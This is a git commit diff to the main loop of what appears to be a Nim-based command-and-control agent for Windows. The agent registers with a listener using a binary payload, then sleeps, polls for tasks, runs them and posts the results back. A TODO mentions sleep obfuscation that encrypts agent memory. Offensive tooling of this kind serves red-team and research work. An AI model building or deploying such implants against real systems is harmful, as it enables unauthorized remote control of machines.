Implemented agent registration to match new binary structure instead of json.

This commit is contained in:
Jakob Friedl
2025-07-21 22:07:25 +02:00
parent 99f55cc04f
commit 9f15026fd1
28 changed files with 452 additions and 327 deletions

View File

@@ -1,9 +1,10 @@
import strformat, os, times
import strformat, os, times, random
import winim
import sugar
import ./[agentTypes, http]
import task/handler, task/packer
import ../../common/types
import ./agentTypes
import core/[task, packer, http, metadata]
import ../../common/[types, utils]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
randomize()
#[
The process is the following:
@@ -35,14 +37,19 @@ proc main() =
# Create agent configuration
var config = AgentConfig(
listener: ListenerUuid,
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered."
# Create registration payload
let registrationData: AgentRegistrationData = config.getRegistrationData()
let registrationBytes = serializeRegistrationData(registrationData)
config.register(registrationBytes)
echo fmt"[+] [{config.agentId}] Agent registered."
#[
Agent routine:
@@ -54,13 +61,14 @@ proc main() =
]#
while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent
let packet: string = config.getTasks(agent)
let packet: string = config.getTasks()
if packet.len <= 0:
echo "No tasks to execute."
@@ -78,9 +86,8 @@ proc main() =
result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result)
echo resultData
discard config.postResults(result, resultData)
# echo resultData
config.postResults(resultData)
when isMainModule:
main()